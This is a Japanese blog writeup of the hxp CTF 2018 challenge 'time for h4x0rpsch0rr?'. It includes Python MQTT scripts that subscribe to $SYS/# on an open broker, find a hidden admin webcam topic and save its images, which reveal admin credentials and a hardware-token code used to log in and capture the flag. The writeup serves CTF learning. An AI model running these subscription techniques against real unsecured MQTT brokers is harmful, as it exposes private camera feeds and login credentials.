こんとろーるしーこんとろーるぶい

週末にカチャカチャッターン!したことを貼り付けていくブログ

hxp CTF 2018 Writeup - time for h4x0rpsch0rr?

問題文

Finally a use case for those internet tingies!
Connection:

http://159.69.212.240:8001/f:id:graneed:20181209111400p:plain

writeup

フッターに、/admin.phpへのリンクがある。
/admin.phpには、User、Password、OTPの入力項目。
OTPはOne Time Passwordの意味だろうか。
SQLiの脆弱性は無さそう。

トップに戻って機能を確認すると、MQTT over websocketで通信をしていることがわかる。

<script src="mqtt.min.js"></script>
<script>
  var client = mqtt.connect('ws://' + location.hostname + ':60805')
  client.subscribe('hxp.io/temperature/Munich')

  client.on('message', function (topic, payload) {
    var temp = parseFloat(payload)
    var result = 'NO'

    /* secret formular, please no steal*/
    if (-273.15 <= temp && temp < Infinity) {
      result = 'YES'
    }
    document.getElementById('beer').innerText = result
  })
</script>

以下ページを参考に、pythonでMQTTの通信プログラムを作る。

IoT時代のプログラミング(主にMQTTについて) - Qiita

MQTT over websocket in python - Stack Overflow

import paho.mqtt.client as mqtt

def on_connect(client, userdata, flags, respons_code):
  print('connected')
  client.subscribe('hxp.io/temperature/Munich')

def on_message(client, userdata, msg):
  print(msg.topic + ' ' + str(msg.payload))

client = mqtt.Client(transport="websockets")
client.on_connect = on_connect
client.on_message = on_message
client.connect('159.69.212.240', 60805, keepalive=60)
client.loop_forever()

実行する。

# python sub1.py 
connected
hxp.io/temperature/Munich b'13.37'
hxp.io/temperature/Munich b'13.37'
・
・
・

疎通できた。

次に、どういったtopicが配信されているか確認する。

mosquitto - How do I subscribe to all topics of a MQTT broker - Stack Overflow

subscribe関数の引数に#を指定すると、全てのtopicを受信できるようだ。

しかし、hxp.io/temperature/Munich以外、特にtopicを受信できない。

Googleで調べると、$SYSなどの$で始まるtopicは、#の指定では受信できないようだ。 よって、subscribe関数の引数に$SYS/#を指定して再実行する。

# python sub3.py 
connected
$SYS/broker/version b'mosquitto version 1.4.10'
$SYS/broker/timestamp b'Wed, 17 Oct 2018 19:03:03 +0200'
$SYS/broker/uptime b'120032 seconds'
(snip)
$SYS/broker/load/connections/1min b'15.65'
$SYS/broker/load/connections/5min b'14.97'
$SYS/broker/load/connections/15min b'16.50'
$SYS/broker/log/M/subscribe b'1544300880: 8dfc1754-7bc9-4f54-941c-87301580522a 0 $SYS/#'
$SYS/broker/log/M/subscribe b'1544300881: db7d1b52-8f48-4ae9-aeb2-89e716b327ff 0 $internal/admin/webcam'

$internal/admin/webcamという興味深いtopicを発見。 試しに受信してみると、JPGファイルのバイナリのようなデータを受信した。

ファイルに出力してみる。

import paho.mqtt.client as mqtt

def on_connect(client, userdata, flags, respons_code):
  print('connected')
  client.subscribe('$internal/admin/webcam')

def on_message(client, userdata, msg):
  print("message receive")
  f=open("webcam.jpg","wb")
  f.write(msg.payload)
  f.close()

client = mqtt.Client(transport="websockets")
client.on_connect = on_connect
client.on_message = on_message
client.connect('159.69.212.240', 60805, keepalive=60)
client.loop_forever()
# python sub4.py 
connected
message receive
message receive
・
・

f:id:graneed:20181209112021j:plain

Username、PasswordとRSA SecurIDハードトークンの画像。
/admin.phpにログインするとフラグをゲット。

hxp{Air gap your beers :| - Prost!}